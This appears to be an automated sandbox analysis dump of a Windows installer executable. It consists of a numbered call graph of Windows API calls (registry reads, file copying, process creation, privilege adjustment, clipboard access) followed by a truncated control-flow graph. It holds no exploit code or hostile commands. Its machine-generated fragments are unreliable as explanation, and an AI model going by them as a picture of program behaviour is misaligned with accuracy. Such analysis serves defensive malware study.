4682->4675 4725 10001215 GlobalAlloc 4684->4725 4686 1000155f 4688 10001586 4686->4688 4689 1000156c lstrcpyA 4686->4689 4690 100015a0 4688->4690 4691 1000158b wsprintfA 4688->4691 4689->4690 4692 10001266 4690->4692 4691->4690 4693 100012a8 GlobalFree 4692->4693 4694 1000126f GlobalAlloc lstrcpynA 4692->4694 4693->4594 4694->4693 4696 100023ae 4695->4696 4698 100017c5 4695->4698 4697 100023c7 GlobalFree 4696->4697 4696->4698 4697->4696 4698->4607 4698->4608 4700 10001266 2 API calls 4699->4700 4701 10001503 4700->4701 4701->4610 4702->4613 4703->4640 4705 10001552 4704->4705 4705->4636 4712 10001215 GlobalAlloc 4706->4712 4708 10001233 lstrcpynA 4708->4632 4709->4640 4710->4633 4711->4638 4712->4708 4714 100012b4 4713->4714 4715 10001224 2 API calls 4714->4715 4716 100012cf 4715->4716 4716->4645 4718 10002581 4717->4718 4719 1000252b VirtualAlloc 4717->4719 4718->4651 4719->4718 4720->4675 4722 100012f9 4721->4722 4723 100012da 4721->4723 4722->4675 4723->4722 4724 100012e0 lstrcpyA 4723->4724 4724->4722 4725->4686 5093 401000 5094 401037 BeginPaint GetClientRect 5093->5094 5095 40100c DefWindowProcA 5093->5095 5097 4010f3 5094->5097 5098 401179 5095->5098 5099 401073 CreateBrushIndirect FillRect DeleteObject 5097->5099 5100 4010fc 5097->5100 5099->5097 5101 401102 CreateFontIndirectA 5100->5101 5102 401167 EndPaint 5100->5102 5101->5102 5103 401112 6 API calls 5101->5103 5102->5098 5103->5102 5104 401900 5105 402ace 18 API calls 5104->5105 5106 401907 5105->5106 5107 4055b9 MessageBoxIndirectA 5106->5107 5108 401910 5107->5108 5109 403701 5110 40370c 5109->5110 5111 403710 5110->5111 5112 403713 GlobalAlloc 5110->5112 5112->5111 5113 401502 5114 40150a 5113->5114 5116 40151d 5113->5116 5115 402aac 18 API calls 5114->5115 5115->5116 3648 402483 3659 402bd8 3648->3659 3650 40248d 3663 402ace 3650->3663 3653 4024a0 RegQueryValueExA 3655 4024c0 3653->3655 3656 4024c6 RegCloseKey 3653->3656 3654 402729 3655->3656 3669 405d21 wsprintfA 3655->3669 3656->3654 3660 402ace 18 API calls 3659->3660 3661 402bf1 3660->3661 3662 402bff RegOpenKeyExA 3661->3662 3662->3650 3664 402ada 3663->3664 3670 405de5 3664->3670 3667 402496 3667->3653 3667->3654 3669->3656 3675 405df2 3670->3675 3671 406015 3672 402afb 3671->3672 3704 405dc3 lstrcpynA 3671->3704 3672->3667 3688 40602e 3672->3688 3674 405e93 GetVersion 3674->3675 3675->3671 3675->3674 3676 405fec lstrlenA 3675->3676 3679 405de5 10 API calls 3675->3679 3680 405f0b GetSystemDirectoryA 3675->3680 3682 405f1e GetWindowsDirectoryA 3675->3682 3683 40602e 5 API calls 3675->3683 3684 405f52 SHGetSpecialFolderLocation 3675->3684 3685 405de5 10 API calls 3675->3685 3686 405f95 lstrcatA 3675->3686 3697 405caa RegOpenKeyExA 3675->3697 3702 405d21 wsprintfA 3675->3702 3703 405dc3 lstrcpynA 3675->3703 3676->3675 3679->3676 3680->3675 3682->3675 3683->3675 3684->3675 3687 405f6a SHGetPathFromIDListA CoTaskMemFree 3684->3687 3685->3675 3686->3675 3687->3675 3689 40603a 3688->3689 3691 406097 CharNextA 3689->3691 3693 4060a2 3689->3693 3695 406085 CharNextA 3689->3695 3696 406092 CharNextA 3689->3696 3705 405860 3689->3705 3690 4060a6 CharPrevA 3690->3693 3691->3689 3691->3693 3693->3690 3694 4060c1 3693->3694 3694->3667 3695->3689 3696->3691 3698 405d1b 3697->3698 3699 405cdd RegQueryValueExA 3697->3699 3698->3675 3700 405cfe RegCloseKey 3699->3700 3700->3698 3702->3675 3703->3675 3704->3672 3706 405866 3705->3706 3707 405879 3706->3707 3708 40586c CharNextA 3706->3708 3707->3689 3708->3706 5117 100029c3 5118 100029db 5117->5118 5119 10001534 2 API calls 5118->5119 5120 100029f6 5119->5120 5121 401c04 5122 402aac 18 API calls 5121->5122 5123 401c0b 5122->5123 5124 402aac 18 API calls 5123->5124 5125 401c18 5124->5125 5126 402ace 18 API calls 5125->5126 5128 401c2d 5125->5128 5126->5128 5127 401c3d 5130 401c94 5127->5130 5131 401c48 5127->5131 5128->5127 5129 402ace 18 API calls 5128->5129 5129->5127 5132 402ace 18 API calls 5130->5132 5133 402aac 18 API calls 5131->5133 5134 401c99 5132->5134 5135 401c4d 5133->5135 5136 402ace 18 API calls 5134->5136 5137 402aac 18 API calls 5135->5137 5139 401ca2 FindWindowExA 5136->5139 5138 401c59 5137->5138 5140 401c84 SendMessageA 5138->5140 5141 401c66 SendMessageTimeoutA 5138->5141 5142 401cc0 5139->5142 5140->5142 5141->5142 4188 40270b 4189 402ace 18 API calls 4188->4189 4190 402712 FindFirstFileA 4189->4190 4191 402735 4190->4191 4192 402725 4190->4192 4193 40273c 4191->4193 4196 405d21 wsprintfA 4191->4196 4197 405dc3 lstrcpynA 4193->4197 4196->4193 4197->4192 5143 401490 5144 404fdc 25 API calls 5143->5144 5145 401497 5144->5145 5146 402590 5147 402595 5146->5147 5148 4025a9 5146->5148 5149 402aac 18 API calls 5147->5149 5150 402ace 18 API calls 5148->5150 5152 40259e 5149->5152 5151 4025b0 lstrlenA 5150->5151 5151->5152 5153 405add WriteFile 5152->5153 5154 4025d2 5152->5154 5153->5154 5155 402c13 5156 402c22 SetTimer 5155->5156 5157 402c3b 5155->5157 5156->5157 5158 402c90 5157->5158 5159 402c55 MulDiv wsprintfA SetWindowTextA SetDlgItemTextA 5157->5159 5159->5158 4366 402695 4367 40269c 4366->4367 4369 40290b 4366->4369 4368 402aac 18 API calls 4367->4368 4370 4026a3 4368->4370 4371 4026b2 SetFilePointer 4370->4371 4371->4369 4372 4026c2 4371->4372 4374 405d21 wsprintfA 4372->4374 4374->4369 5160 401d95 GetDC 5161 402aac 18 API calls 5160->5161 5162 401da7 GetDeviceCaps MulDiv ReleaseDC 5161->5162 5163 402aac 18 API calls 5162->5163 5164 401dd8 5163->5164 5165 405de5 18 API calls 5164->5165 5166 401e15 CreateFontIndirectA 5165->5166 5167 40258a 5166->5167 5168 10001058 5170 10001074 5168->5170 5169 100010dc 5170->5169 5171 100014bb GlobalFree 5170->5171 5172 10001091 5170->5172 5171->5172 5173 100014bb GlobalFree 5172->5173 5174 100010a1 5173->5174 5175 100010b1 5174->5175 5176 100010a8 GlobalSize 5174->5176 5177 100010b5 GlobalAlloc 5175->5177 5179 100010c6 5175->5179 5176->5175 5178 100014e2 3 API calls 5177->5178 5178->5179 5180 100010d1 GlobalFree 5179->5180 5180->5169 5181 40511a 5182 4052c5 5181->5182 5183 40513c GetDlgItem GetDlgItem GetDlgItem 5181->5183 5185 4052f5 5182->5185 5186 4052cd GetDlgItem CreateThread CloseHandle 5182->5186 5226 403fdd SendMessageA 5183->5226 5187 405323 5185->5187 5188 405344 5185->5188 5189 40530b ShowWindow ShowWindow 5185->5189 5186->5185 5191 40537e 5187->5191 5193 405333 5187->5193 5194 405357 ShowWindow 5187->5194 5195 40400f 8 API calls 5188->5195 5228 403fdd SendMessageA 5189->5228 5190 4051ac 5196 4051b3 GetClientRect GetSystemMetrics SendMessageA SendMessageA 5190->5196 5191->5188 5199 40538b SendMessageA 5191->5199 5200 403f81 SendMessageA 5193->5200 5202 405377 5194->5202 5203 405369 5194->5203 5201 405350 5195->5201 5197 405221 5196->5197 5198 405205 SendMessageA SendMessageA 5196->5198 5204 405234 5197->5204 5205 405226 SendMessageA 5197->5205 5198->5197 5199->5201 5206 4053a4 CreatePopupMenu 5199->5206 5200->5188 5208 403f81 SendMessageA 5202->5208 5207 404fdc 25 API calls 5203->5207 5210 403fa8 19 API calls 5204->5210 5205->5204 5209 405de5 18 API calls 5206->5209 5207->5202 5208->5191 5211 4053b4 AppendMenuA 5209->5211 5212 405244 5210->5212 5213 4053d2 GetWindowRect 5211->5213 5214 4053e5 TrackPopupMenu 5211->5214 5215 405281 GetDlgItem SendMessageA 5212->5215 5216 40524d ShowWindow 5212->5216 5213->5214 5214->5201 5217 405401 5214->5217 5215->5201 5219 4052a8 SendMessageA SendMessageA 5215->5219 5218 405263 ShowWindow 5216->5218 5221 405270 5216->5221 5220 405420 SendMessageA 5217->5220 5218->5221 5219->5201 5220->5220 5222 40543d OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 5220->5222 5227 403fdd SendMessageA 5221->5227 5224 40545f SendMessageA 5222->5224 5224->5224 5225 405481 GlobalUnlock SetClipboardData CloseClipboard 5224->5225 5225->5201 5226->5190 5227->5215 5228->5187 5229 401d1a 5230 402aac 18 API calls 5229->5230 5231 401d28 SetWindowLongA 5230->5231 5232 40295e 5231->5232 4538 40159d 4539 402ace 18 API calls 4538->4539 4540 4015a4 SetFileAttributesA 4539->4540 4541 4015b6 4540->4541 5238 40149d 5239 4014ab PostQuitMessage 5238->5239 5240 4022dd 5238->5240 5239->5240 4542 401a1e 4543 402ace 18 API calls 4542->4543 4544 401a27 ExpandEnvironmentStringsA 4543->4544 4545 401a3b 4544->4545 4546 401a4e 4544->4546 4545->4546 4547 401a40 lstrcmpA 4545->4547 4547->4546 4726 40171f 4727 402ace 18 API calls 4726->4727 4728 401726 SearchPathA 4727->4728 4729 401741 4728->4729 5241 40439f 5242 4043d5 5241->5242 5243 4043af 5241->5243 5245 40400f 8 API calls 5242->5245 5244 403fa8 19 API calls 5243->5244 5246 4043bc SetDlgItemTextA 5244->5246 5247 4043e1 5245->5247 5246->5242 5248 100010e0 5257 1000110e 5248->5257 5249 100011c4 GlobalFree 5250 100012ad 2 API calls 5250->5257 5251 100011c3 5251->5249 5252 100011ea GlobalFree 5252->5257 5253 10001266 2 API calls 5256 100011b1 GlobalFree 5253->5256 5254 10001155 GlobalAlloc 5254->5257 5255 100012d1 lstrcpyA 5255->5257 5256->5257 5257->5249 5257->5250 5257->5251 5257->5252 5257->5253 5257->5254 5257->5255 5257->5256 5258 10002162 5259 100021c0 5258->5259 5261 100021f6 5258->5261 5260 100021d2 GlobalAlloc 5259->5260 5259->5261 5260->5259 3709 4031a3 SetErrorMode GetVersion 3710 4031da 3709->3710 3711 4031e0 3709->3711 3712 40615c 5 API calls 3710->3712 3797 4060ee GetSystemDirectoryA 3711->3797 3712->3711 3714 4031f6 lstrlenA 3714->3711 3715 403205 3714->3715 3800 40615c GetModuleHandleA 3715->3800 3718 40615c 5 API calls 3719 403214 #17 OleInitialize SHGetFileInfoA 3718->3719 3806 405dc3 lstrcpynA 3719->3806 3721 403251 GetCommandLineA 3807 405dc3 lstrcpynA 3721->3807 3723 403263 GetModuleHandleA 3724 40327a 3723->3724 3725 405860 CharNextA 3724->3725 3726 40328e CharNextA 3725->3726 3734 40329e 3726->3734 3727 403368 3728 40337b GetTempPathA 3727->3728 3808 403172 3728->3808 3730 403393 3731 403397 GetWindowsDirectoryA lstrcatA 3730->3731 3732 4033ed DeleteFileA 3730->3732 3735 403172 12 API calls 3731->3735 3818 402cfa GetTickCount GetModuleFileNameA 3732->3818 3733 405860 CharNextA 3733->3734 3734->3727 3734->3733 3739 40336a 3734->3739 3738 4033b3 3735->3738 3737 403401 3742 403487 3737->3742 3746 405860 CharNextA 3737->3746 3793 403497 3737->3793 3738->3732 3741 4033b7 GetTempPathA lstrcatA SetEnvironmentVariableA SetEnvironmentVariableA 3738->3741 3913 405dc3 lstrcpynA 3739->3913 3744 403172 12 API calls 3741->3744 3846 403743 3742->3846 3748 4033e5 3744->3748 3749 40341c 3746->3749 3748->3732 3748->3793 3756 403462 3749->3756 3757 4034c7 3749->3757 3750 4034b1 3937 4055b9 3750->3937 3751 4035cf 3753 403651 ExitProcess 3751->3753 3754 4035d7 GetCurrentProcess OpenProcessToken 3751->3754 3759 403622 3754->3759 3760 4035f2 LookupPrivilegeValueA AdjustTokenPrivileges 3754->3760 3914 405923 3756->3914 3902 40553c 3757->3902 3763 40615c 5 API calls 3759->3763 3760->3759 3764 403629 3763->3764 3767 40363e ExitWindowsEx 3764->3767 3770 40364a 3764->3770 3767->3753 3767->3770 3768 4034e8 lstrcatA lstrcmpiA 3772 403504 3768->3772 3768->3793 3769 4034dd lstrcatA 3769->3768 3950 40140b 3770->3950 3773 403510 3772->3773 3774 403509 3772->3774 3946 40551f CreateDirectoryA 3773->3946 3941 4054a2 CreateDirectoryA 3774->3941 3776 40347c 3929 405dc3 lstrcpynA 3776->3929 3781 403515 SetCurrentDirectoryA 3782 403524 3781->3782 3783 40352f 3781->3783 3949 405dc3 lstrcpynA 3782->3949 3905 405dc3 lstrcpynA 3783->3905 3786 40353d 3787 405de5 18 API calls 3786->3787 3790 4035c3 3786->3790 3794 405de5 18 API calls 3786->3794 3796 4035af CloseHandle 3786->3796 3906 405c7e MoveFileExA 3786->3906 3910 405554 CreateProcessA 3786->3910 3788 40356e DeleteFileA 3787->3788 3788->3786 3789 40357b CopyFileA 3788->3789 3789->3786 3792 405c7e 38 API calls 3790->3792 3792->3793 3930 403669 3793->3930 3794->3786 3796->3786 3798 406110 wsprintfA LoadLibraryExA 3797->3798 3798->3714 3801 406182 GetProcAddress 3800->3801 3802 406178 3800->3802 3803 40320d 3801->3803 3804 4060ee 3 API calls 3802->3804 3803->3718 3805 40617e 3804->3805 3805->3801 3805->3803 3806->3721 3807->3723 3809 40602e 5 API calls 3808->3809 3810 40317e 3809->3810 3811 403188 3810->3811 3953 405835 lstrlenA CharPrevA 3810->3953 3811->3730 3814 40551f 2 API calls 3815 403196 3814->3815 3956 405a65 3815->3956 3960 405a36 GetFileAttributesA CreateFileA 3818->3960 3820 402d3a 3839 402d4a 3820->3839 3961 405dc3 lstrcpynA 3820->3961 3822 402d60 3962 40587c lstrlenA 3822->3962 3826 402d71 GetFileSize 3827 402e6d 3826->3827 3841 402d88 3826->3841 3967 402c96 3827->3967 3829 402e76 3831 402ea6 GlobalAlloc 3829->3831 3829->3839 4002 40315b SetFilePointer 3829->4002 3978 40315b SetFilePointer 3831->3978 3834 402ed9 3836 402c96 6 API calls 3834->3836 3835 402ec1 3979 402f33 3835->3979 3836->3839 3837 402e8f 3840 403145 ReadFile 3837->3840 3839->3737 3843 402e9a 3840->3843 3841->3827 3841->3834 3841->3839 3842 402c96 6 API calls 3841->3842 3999 403145 3841->3999 3842->3841 3843->3831 3843->3839 3844 402ecd 3844->3839 3844->3844 3845 402f0a SetFilePointer 3844->3845 3845->3839 3847 40615c 5 API calls 3846->3847 3848 403757 3847->3848 3849 40375d 3848->3849 3850 40376f 3848->3850 4032 405d21 wsprintfA 3849->4032 3851 405caa 3 API calls 3850->3851 3852 40379a 3851->3852 3854 4037b8 lstrcatA 3852->3854 3856 405caa 3 API calls 3852->3856 3855 40376d 3854->3855 4023 403a08 3855->4023 3856->3854 3859 405923 18 API calls 3860 4037ea 3859->3860 3861 403873 3860->3861 3864 405caa 3 API calls 3860->3864 3862 405923 18 API calls 3861->3862 3863 403879 3862->3863 3866 403889 LoadImageA 3863->3866 3867 405de5 18 API calls 3863->3867 3865 403816 3864->3865 3865->3861 3870 403832 lstrlenA 3865->3870 3874 405860 CharNextA 3865->3874 3868 4038b0 RegisterClassA 3866->3868 3869 40392f 3866->3869 3867->3866 3871 4038e6 SystemParametersInfoA CreateWindowExA 3868->3871 3872 403939 3868->3872 3873 40140b 2 API calls 3869->3873 3875 403840 lstrcmpiA 3870->3875 3876 403866 3870->3876 3871->3869 3872->3793 3877 403935 3873->3877 3878 403830 3874->3878 3875->3876 3879 403850 GetFileAttributesA 3875->3879 3880 405835 3 API calls 3876->3880 3877->3872 3882 403a08 19 API calls 3877->3882 3878->3870 3881 40385c 3879->3881 3883 40386c 3880->3883 3881->3876 3884 40587c 2 API calls 3881->3884 3885 403946 3882->3885 4033 405dc3 lstrcpynA 3883->4033 3884->3876 3887 403952 ShowWindow 3885->3887 3888 4039d5 3885->3888 3890 4060ee 3 API calls 3887->3890 4034 4050ae OleInitialize 3888->4034 3893 40396a 3890->3893 3891 4039db 3894 4039f7 3891->3894 3895 4039df 3891->3895 3892 403978 GetClassInfoA 3898 4039a2 DialogBoxParamA 3892->3898 3899 40398c GetClassInfoA RegisterClassA 3892->3899 3893->3892 3896 4060ee 3 API calls 3893->3896 3897 40140b 2 API calls 3894->3897 3895->3872 3901 40140b 2 API calls 3895->3901 3896->3892 3897->3872 3900 40140b 2 API calls 3898->3900 3899->3898 3900->3872 3901->3872 3903 40615c 5 API calls 3902->3903 3904 4034cc lstrcatA 3903->3904 3904->3768 3904->3769 3905->3786 3907 405c9f 3906->3907 3908 405c92 3906->3908 3907->3786 4049 405b0c lstrcpyA 3908->4049 3911 405593 3910->3911 3912 405587 CloseHandle 3910->3912 3911->3786 3912->3911 3913->3728 4083 405dc3 lstrcpynA 3914->4083 3916 405934 4084 4058ce CharNextA CharNextA 3916->4084 3919 40346d 3919->3793 3928 405dc3 lstrcpynA 3919->3928 3920 40602e 5 API calls 3926 40594a 3920->3926 3921 405975 lstrlenA 3922 405980 3921->3922 3921->3926 3924 405835 3 API calls 3922->3924 3925 405985 GetFileAttributesA 3924->3925 3925->3919 3926->3919 3926->3921 3927 40587c 2 API calls 3926->3927 4090 4060c7 FindFirstFileA 3926->4090 3927->3921 3928->3776 3929->3742 3931 403681 3930->3931 3932 403673 CloseHandle 3930->3932 4093 4036ae 3931->4093 3932->3931 3938 4055ce 3937->3938 3939 4034bf ExitProcess 3938->3939 3940 4055e2 MessageBoxIndirectA 3938->3940 3940->3939 3942 4054f3 GetLastError 3941->3942 3943 40350e 3941->3943 3942->3943 3944 405502 SetFileSecurityA 3942->3944 3943->3781 3944->3943 3945 405518 GetLastError 3944->3945 3945->3943 3947 405533 GetLastError 3946->3947 3948 40552f 3946->3948 3947->3948 3948->3781 3949->3783 3951 401389 2 API calls 3950->3951 3952 401420 3951->3952 3952->3753 3954 403190 3953->3954 3955 40584f lstrcatA 3953->3955 3954->3814 3955->3954 3957 405a70 GetTickCount GetTempFileNameA 3956->3957 3958 4031a1 3957->3958 3959 405a9d 3957->3959 3958->3730 3959->3957 3959->3958 3960->3820 3961->3822 3963 405889 3962->3963 3964 402d66 3963->3964 3965 40588e CharPrevA 3963->3965 3966 405dc3 lstrcpynA 3964->3966 3965->3963 3965->3964 3966->3826 3968 402cb7 3967->3968 3969 402c9f 3967->3969 3972 402cc7 GetTickCount 3968->3972 3973 402cbf 3968->3973 3970 402ca8 DestroyWindow 3969->3970 3971 402caf 3969->3971 3970->3971 3971->3829 3975 402cd5 CreateDialogParamA ShowWindow 3972->3975 3976 402cf8 3972->3976 4003 406198 3973->4003 3975->3976 3976->3829 3978->3835 3980 402f49 3979->3980 3981 402f77 3980->3981 4009 40315b SetFilePointer 3980->4009 3983 403145 ReadFile 3981->3983 3984 402f82 3983->3984 3985 402f94 GetTickCount 3984->3985 3986 4030de 3984->3986 3993 4030c8 3984->3993 3985->3993 3997 402fe3 3985->3997 3987 403120 3986->3987 3992 4030e2 3986->3992 3989 403145 ReadFile 3987->3989 3988 403145 ReadFile 3988->3997 3989->3993 3990 403145 ReadFile 3990->3992 3991 405add WriteFile 3991->3992 3992->3990 3992->3991 3992->3993 3993->3844 3994 403039 GetTickCount 3994->3997 3995 40305e MulDiv wsprintfA 4010 404fdc 3995->4010 3997->3988 3997->3993 3997->3994 3997->3995 4007 405add WriteFile 3997->4007 4021 405aae ReadFile 3999->4021 4002->3837 4004 4061b5 PeekMessageA 4003->4004 4005 402cc5 4004->4005 4006 4061ab DispatchMessageA 4004->4006 4005->3829 4006->4004 4008 405afb 4007->4008 4008->3997 4009->3981 4011 404ff7 4010->4011 4020 40509a 4010->4020 4012 405014 lstrlenA 4011->4012 4013 405de5 18 API calls 4011->4013 4014 405022 lstrlenA 4012->4014 4015 40503d 4012->4015 4013->4012 4016 405034 lstrcatA 4014->4016 4014->4020 4017 405050 4015->4017 4018 405043 SetWindowTextA 4015->4018 4016->4015 4019 405056 SendMessageA SendMessageA SendMessageA 4017->4019 4017->4020 4018->4017 4019->4020 4020->3997 4022 403158 4021->4022 4022->3841 4024 403a1c 4023->4024 4041 405d21 wsprintfA 4024->4041 4026 403a8d 4027 405de5 18 API calls 4026->4027 4028 403a99 SetWindowTextA 4027->4028 4029 4037c8 4028->4029 4030 403ab5 4028->4030 4029->3859 4030->4029 4031 405de5 18 API calls 4030->4031 4031->4030 4032->3855 4033->3861 4042 403ff4 4034->4042 4036 403ff4 SendMessageA 4037 40510a OleUninitialize 4036->4037 4037->3891 4038 4050f8 4038->4036 4040 4050d1 4040->4038 4045 401389 4040->4045 4041->4026 4043 40400c 4042->4043 4044 403ffd SendMessageA 4042->4044 4043->4040 4044->4043 4047 401390 4045->4047 4046 4013fe 4046->4040 4047->4046 4048 4013cb MulDiv SendMessageA 4047->4048 4048->4047 4050 405b34 4049->4050 4051 405b5a GetShortPathNameA 4049->4051 4076 405a36 GetFileAttributesA CreateFileA 4050->4076 4053 405c79 4051->4053 4054 405b6f 4051->4054 4053->3907 4054->4053 4056 405b77 wsprintfA 4054->4056 4055 405b3e CloseHandle GetShortPathNameA 4055->4053 4058 405b52 4055->4058 4057 405de5 18 API calls 4056->4057 4059 405b9f 4057->4059 4058->4051 4058->4053 4077 405a36 GetFileAttributesA CreateFileA 4059->4077 4061 405bac 4061->4053 4062 405bbb GetFileSize GlobalAlloc 4061->4062 4063 405c72 CloseHandle 4062->4063 4064 405bdd 4062->4064 4063->4053 4065 405aae ReadFile 4064->4065 4066 405be5 4065->4066 4066->4063 4078 40599b lstrlenA 4066->4078 4069 405c10 4071 40599b 4 API calls 4069->4071 4070 405bfc lstrcpyA 4072 405c1e 4070->4072 4071->4072 4073 405c55 SetFilePointer 4072->4073 4074 405add WriteFile 4073->4074 4075 405c6b GlobalFree 4074->4075 4075->4063 4076->4055 4077->4061 4079 4059dc lstrlenA 4078->4079 4080 4059e4 4079->4080 4081 4059b5 lstrcmpiA 4079->4081 4080->4069 4080->4070 4081->4080 4082 4059d3 CharNextA 4081->4082 4082->4079 4083->3916 4085 4058e9 4084->4085 4087 4058f9 4084->4087 4085->4087 4088 4058f4 CharNextA 4085->4088 4086 405919 4086->3919 4086->3920 4087->4086 4089 405860 CharNextA 4087->4089 4088->4086 4089->4087 4091 4060e8 4090->4091 4092 4060dd FindClose 4090->4092 4091->3926 4092->4091 4094 4036bc 4093->4094 4095 403686 4094->4095 4096 4036c1 FreeLibrary GlobalFree 4094->4096 4097 405665 4095->4097 4096->4095 4096->4096 4098 405923 18 API calls 4097->4098 4099 405685 4098->4099 4100 4056a4 4099->4100 4101 40568d DeleteFileA 4099->4101 4103 4057dc 4100->4103 4138 405dc3 lstrcpynA 4100->4138 4102 4034a0 OleUninitialize 4101->4102 4102->3750 4102->3751 4103->4102 4108 4060c7 2 API calls 4103->4108 4105 4056ca 4106 4056d0 lstrcatA 4105->4106 4107 4056dd 4105->4107 4109 4056e3 4106->4109 4110 40587c 2 API calls 4107->4110 4113 4057f6 4108->4113 4111 4056f1 lstrcatA 4109->4111 4112 4056e8 4109->4112 4110->4109 4114 4056fc lstrlenA FindFirstFileA 4111->4114 4112->4111 4112->4114 4113->4102 4115 4057fa 4113->4115 4116 4057d2 4114->4116 4120 405720 4114->4120 4117 405835 3 API calls 4115->4117 4116->4103 4119 405800 4117->4119 4118 405860 CharNextA 4118->4120 4121 40561d 5 API calls 4119->4121 4120->4118 4126 4057b1 FindNextFileA 4120->4126 4133 405665 62 API calls 4120->4133 4135 404fdc 25 API calls 4120->4135 4136 404fdc 25 API calls 4120->4136 4137 405c7e 38 API calls 4120->4137 4139 405dc3 lstrcpynA 4120->4139 4140 40561d 4120->4140 4122 40580c 4121->4122 4123 405810 4122->4123 4124 405826 4122->4124 4123->4102 4128 404fdc 25 API calls 4123->4128 4125 404fdc 25 API calls 4124->4125 4125->4102 4126->4120 4129 4057c9 FindClose 4126->4129 4130 40581d 4128->4130 4129->4116 4131 405c7e 38 API calls 4130->4131 4134 405824 4131->4134 4133->4120 4134->4102 4135->4126 4136->4120 4137->4120 4138->4105 4139->4120 4148 405a11 GetFileAttributesA 4140->4148 4143 40564a 4143->4120 4144 405640 DeleteFileA 4146 405646 4144->4146 4145 405638 RemoveDirectoryA 4145->4146 4146->4143 4147 405656 SetFileAttributesA 4146->4147 4147->4143 4149 405629 4148->4149 4150 405a23 SetFileAttributesA 4148->4150 4149->4143 4149->4144 4149->4145 4150->4149 4151 401e25 4159 402aac 4151->4159 4153 401e2b 4154 402aac 18 API calls 4153->4154 4155 401e37 4154->4155 4156 401e43 ShowWindow 4155->4156 4157 401e4e EnableWindow 4155->4157 4158 40295e 4156->4158 4157->4158 4160 405de5 18 API calls 4159->4160 4161 402ac1 4160->4161 4161->4153 5262 401f2d 5263 402ace 18 API calls 5262->5263 5264 401f34 5263->5264 5265 4060c7 2 API calls 5264->5265 5266 401f3a 5265->5266 5267 401f4c 5266->5267 5269 405d21 wsprintfA 5266->5269 5269->5267 5270 402336 5271 402ace 18 API calls 5270->5271 5272 402347 5271->5272 5273 402ace 18 API calls 5272->5273 5274 402350 5273->5274 5275 402ace 18 API calls 5274->5275 5276 40235a GetPrivateProfileStringA 5275->5276 5277 4014b7 5278 4014bd 5277->5278 5279 401389 2 API calls 5278->5279 5280 4014c5 5279->5280 5281 404737 5282 404763 5281->5282 5283 404747 5281->5283 5285 404796 5282->5285 5286 404769 SHGetPathFromIDListA 5282->5286 5292 40559d GetDlgItemTextA 5283->5292 5287 404779 5286->5287 5291 404780 SendMessageA 5286->5291 5289 40140b 2 API calls 5287->5289 5288 404754 SendMessageA 5288->5282 5289->5291 5291->5285 5292->5288 5293 401b39 5294 402ace 18 API calls 5293->5294 5295 401b40 5294->5295 5296 402aac 18 API calls 5295->5296 5297 401b49 wsprintfA 5296->5297 5298 40295e 5297->5298 5299 402939 SendMessageA 5300 402953 InvalidateRect 5299->5300 5301 40295e 5299->5301 5300->5301 4518 4015bb 4519 402ace 18 API calls 4518->4519 4520 4015c2 4519->4520 4521 4058ce 4 API calls 4520->4521 4533 4015ca 4521->4533 4522 401624 4524 401652 4522->4524 4525 401629 4522->4525 4523 405860 CharNextA 4523->4533 4527 401423 25 API calls 4524->4527 4526 401423 25 API calls 4525->4526 4528 401630 4526->4528 4535 40164a 4527->4535 4537 405dc3 lstrcpynA 4528->4537 4530 40551f 2 API calls 4530->4533 4531 40553c 5 API calls 4531->4533 4532 40163b SetCurrentDirectoryA 4532->4535 4533->4522 4533->4523 4533->4530 4533->4531 4534 40160c GetFileAttributesA 4533->4534 4536 4054a2 4 API calls 4533->4536 4534->4533 4536->4533 4537->4532 5302 4016bb 5303 402ace 18 API calls 5302->5303 5304 4016c1 GetFullPathNameA 5303->5304 5305 4016d8 5304->5305 5311 4016f9 5304->5311 5307 4060c7 2 API calls 5305->5307 5305->5311 5306 40170d GetShortPathNameA 5308 40295e 5306->5308 5309 4016e9 5307->5309 5309->5311 5312 405dc3 lstrcpynA 5309->5312 5311->5306 5311->5308 5312->5311 5313 401d3b GetDlgItem GetClientRect 5314 402ace 18 API calls 5313->5314 5315 401d6b LoadImageA SendMessageA 5314->5315 5316 401d89 DeleteObject 5315->5316 5317 40295e 5315->5317 5316->5317 5318 4040bc lstrcpynA lstrlenA

                                                          Executed Functions

                                                          Function 004031A3 Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 357stringcomfileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 0 4031a3-4031d8 SetErrorMode GetVersion 1 4031da-4031e2 call 40615c 0->1 2 4031eb 0->2 1->2 8 4031e4 1->8 4 4031f0-403203 call 4060ee lstrlenA 2->4 9 403205-403278 call 40615c * 2 #17 OleInitialize SHGetFileInfoA call 405dc3 GetCommandLineA call 405dc3 GetModuleHandleA 4->9 8->2 18 403284-403299 call 405860 CharNextA 9->18 19 40327a-40327f 9->19 22 40335e-403362 18->22 19->18 23 403368 22->23 24 40329e-4032a1 22->24 27 40337b-403395 GetTempPathA call 403172 23->27 25 4032a3-4032a7 24->25 26 4032a9-4032b1 24->26 25->25 25->26 28 4032b3-4032b4 26->28 29 4032b9-4032bc 26->29 36 403397-4033b5 GetWindowsDirectoryA lstrcatA call 403172 27->36 37 4033ed-403407 DeleteFileA call 402cfa 27->37 28->29 31 4032c2-4032c6 29->31 32 40334e-40335b call 405860 29->32 34 4032c8-4032ce 31->34 35 4032de-40330b 31->35 32->22 47 40335d 32->47 39 4032d0-4032d2 34->39 40 4032d4 34->40 41 40330d-403313 35->41 42 40331e-40334c 35->42 36->37 55 4033b7-4033e7 GetTempPathA lstrcatA SetEnvironmentVariableA * 2 call 403172 36->55 52 40349b-4034ab call 403669 OleUninitialize 37->52 53 40340d-403413 37->53 39->35 39->40 40->35 48 403315-403317 41->48 49 403319 41->49 42->32 51 40336a-403376 call 405dc3 42->51 47->22 48->42 48->49 49->42 51->27 66 4034b1-4034c1 call 4055b9 ExitProcess 52->66 67 4035cf-4035d5 52->67 56 403415-403420 call 405860 53->56 57 40348b-403492 call 403743 53->57 55->37 55->52 68 403422-40344b 56->68 69 403456-403460 56->69 64 403497 57->64 64->52 71 403651-403659 67->71 72 4035d7-4035f0 GetCurrentProcess OpenProcessToken 67->72 73 40344d-40344f 68->73 76 403462-40346f call 405923 69->76 77 4034c7-4034db call 40553c lstrcatA 69->77 74 40365b 71->74 75 40365f-403663 ExitProcess 71->75 79 403622-403630 call 40615c 72->79 80 4035f2-40361c LookupPrivilegeValueA AdjustTokenPrivileges 72->80 73->69 81 403451-403454 73->81 74->75 76->52 90 403471-403487 call 405dc3 * 2 76->90 91 4034e8-403502 lstrcatA lstrcmpiA 